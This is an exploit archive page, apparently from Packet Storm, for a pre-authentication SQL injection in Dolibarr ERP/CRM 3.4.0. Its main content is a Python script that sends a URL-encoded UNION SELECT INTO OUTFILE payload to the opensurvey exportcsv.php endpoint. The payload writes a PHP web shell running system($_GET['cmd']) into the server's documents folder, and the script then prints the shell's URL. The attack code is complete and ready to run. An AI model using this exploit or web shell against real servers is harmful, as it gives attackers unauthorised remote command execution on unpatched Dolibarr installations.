seeing is believing

Dolibarr ERP/CMS 3.4.0 SQL Injection

Dolibarr ERP/CMS 3.4.0 SQL Injection
Posted Oct 16, 2013
Authored by drone

Dolibarr ERP/CMS version 3.4.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 2b984835498a9ffbac99c39ab995547a

Dolibarr ERP/CMS 3.4.0 SQL Injection

Change Mirror Download
# Exploit Title: Dolibarr 3.4.0 SQLi
# Date: 10/7/2013
# Exploit author: drone (@dronesec)
# More information: http://forelsec.blogspot.com/2013/10/dolibarr-340-multiple-vulnerabilities.html
# Vendor homepage: http://www.dolibarr.org/
# Software link:
# Version: 3.4.0
# Fixed in: 3.4.1
# Tested on: Ubuntu 12.04 (apparmor disabled)

import urllib2
import string
import random
from argparse import ArgumentParser

""" Preauth web shell via SQL injection
Dolibarr 3.4.0
"""

def run(options):
""" run exploit
"""
print '[!] Dropping web shell on %s...' % options.ip
shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))
sqli = 'http://{0}{1}/htdocs/opensurvey/public/exportcsv.php?sondage='\
.format(options.ip, options.rootp)

# ' UNION SELECT '<?php system($_GET['cmd'])?>,2,3,[..]13 INTO OUTFILE 'yourshell';-- -
exploit = '\'%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\''\
',2,3,4,5,6,7,8,9,10,11,12,13%20INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'\
.format(options.path, shell)

try:
urllib2.urlopen(sqli + exploit)
print '[!] Shell dropped. http://%s%s/documents/%s.php?cmd=ls' % \
(options.ip, options.rootp, shell)
except Exception, e:
print '[-] %s' % e

def parse():
""" Parse cli
"""
parser = ArgumentParser()
parser.add_argument('-i', help='Server address', action='store', dest='ip', required=True)
parser.add_argument('-p', help='Path to Dolibarr install (/dolibarr)', action='store',
default='/dolibarr', dest='rootp')
parser.add_argument('-w', help='Path to drop shell (/var/www/dolibarr/documents)',
action='store', default='/var/www/dolibarr/documents', dest='path')

options = parser.parse_args()
options.path = options.path if options.path[-1] != '/' else options.path[:-1]
options.rootp = options.rootp if options.path[-1] != '/' else options.path[:-1]
return options

if __name__ == "__main__":
run(parse())

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2015

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    2 Files
  • 2
    Feb 2nd
    17 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    16 Files
  • 5
    Feb 5th
    14 Files
  • 6
    Feb 6th
    4 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2015 Packet Storm. All rights reserved.

close